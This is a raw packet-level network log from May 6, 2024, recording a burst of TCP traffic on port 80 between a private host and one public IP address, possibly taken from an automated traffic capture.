May 6, 2024 02:53:01.634119987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634123087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634131908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634138107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634150982 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634151936 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634164095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634166956 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634179115 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634192944 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634202957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634207964 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634221077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634238958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634246111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634252071 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634260893 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634265900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634279966 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634288073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634294033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634313107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634326935 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.638530970 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.638571024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.655704021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.655715942 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.655771017 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.656014919 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.656028032 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.656055927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.656080961 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.657277107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.657357931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.663664103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.663676977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.663722038 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.663733959 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.663935900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.663975954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.665769100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.665808916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.675851107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.675905943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.675976992 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.676018953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.676079035 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.676125050 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.681005001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.681052923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.697649956 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.697709084 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.698297024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.698318958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.698337078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.698347092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.698518038 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.698556900 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.699410915 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.699448109 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.705657959 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.705704927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.705734015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.705771923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.711163044 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.711218119 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.717842102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.717895031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.718138933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.718178988 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.718241930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.718281031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.718362093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.718395948 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.718853951 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.718888044 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.724224091 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.724276066 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.740237951 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.740289927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.740329981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.740370035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.741743088 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.741790056 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.748354912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.748372078 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.748402119 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.748414993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.753854990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.753906012 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.759809971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.759870052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.760093927 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.760143042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.760211945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.760226965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.760256052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.760271072 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.760616064 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.760672092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.761017084 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.761061907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.765542030 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.765719891 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.782470942 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.782582998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.782584906 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.782685041 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.785640001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.785746098 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.790700912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.790779114 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.790872097 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.790942907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.795583010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.795663118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.802443981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.802458048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.802541971 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.802782059 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.802851915 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.802869081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.802934885 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.803950071 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.804018021 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.804188967 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.804243088 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.804250002 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.804327965 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.807894945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.807976007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.824451923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.824465990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.824498892 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.824515104 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.828877926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.828922033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.832779884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.832835913 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.832865953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.832906961 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.844496012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.844537020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.844552040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.844588041 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.844774008 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.844815016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.845033884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.845072031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.846447945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.846462965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.846544981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.867233992 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.867301941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.867398024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.867412090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.867434978 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.867448092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.874794960 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.874874115 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.875004053 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.875051022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.875212908 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.875226974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.875256062 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.875271082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.880856037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.880945921 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.886447906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.886548042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.886904955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.886982918 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.887105942 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.887168884 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.888700008 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.888737917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.888802052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.888926983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.888992071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.894035101 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.894118071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.916697025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.916742086 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.916815996 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.916843891 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.916941881 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.916941881 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.916958094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.917021990 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.917184114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.917241096 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.917560101 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.917623997 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.923572063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.923655987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.929037094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.929052114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.929136992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.931498051 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.931571007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.931818962 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.931884050 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.935547113 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.935597897 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.958794117 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.958843946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.958852053 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.958883047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.958981037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.959017992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.959060907 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.959105968 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.959484100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.959536076 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.959608078 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.959645987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.959979057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.960021019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.960340023 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.960387945 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.960455894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.960499048 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.965490103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.965562105 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.982186079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.982198000 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.982264996 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.982357025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.982412100 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.982697010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.982709885 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.982719898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.982759953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.982800007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.983541965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.983594894 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.001221895 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.001290083 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.001422882 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.001435995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.001477957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.001566887 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.001616001 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.001935005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.001982927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.001988888 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.002031088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.002248049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.002293110 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.002708912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.002757072 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.003175020 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.003240108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.007922888 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.007975101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.024301052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.024313927 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.024406910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.024548054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.024612904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.024807930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.024869919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.025105953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.025182009 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.044538975 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.044554949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.044658899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.044729948 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.044755936 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.044789076 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.044826031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.045152903 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.045227051 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.045293093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.045355082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.045428038 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.045501947 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.045814991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.045900106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.046201944 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.046279907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.046449900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.046506882 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.046816111 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.046881914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.050187111 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.050263882 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.066225052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.066309929 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.066349983 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.066544056 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.066776037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.066849947 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.066891909 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.066982985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.067374945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.067455053 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.086514950 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.086541891 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.086582899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.086617947 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.086810112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.086852074 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.087133884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.087179899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.087472916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.087513924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.087883949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.087927103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.088135004 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.088182926 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.088464975 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.088515997 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.088658094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.088701963 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.088855028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.088867903 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.088896990 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.088910103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.092394114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.092439890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.108136892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.108211994 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.108248949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.108287096 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.108908892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.108921051 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.109076977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.126892090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.127028942 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.128695965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.128751040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.128772974 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.128859043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.129008055 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.129076004 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.129272938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.129350901 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.129812002 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.129880905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.130068064 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.130131960 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.130470991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.130531073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.130614996 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.130675077 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.130805016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.130817890 CEST	80	49718	31.41.44.147	192.168.2.6
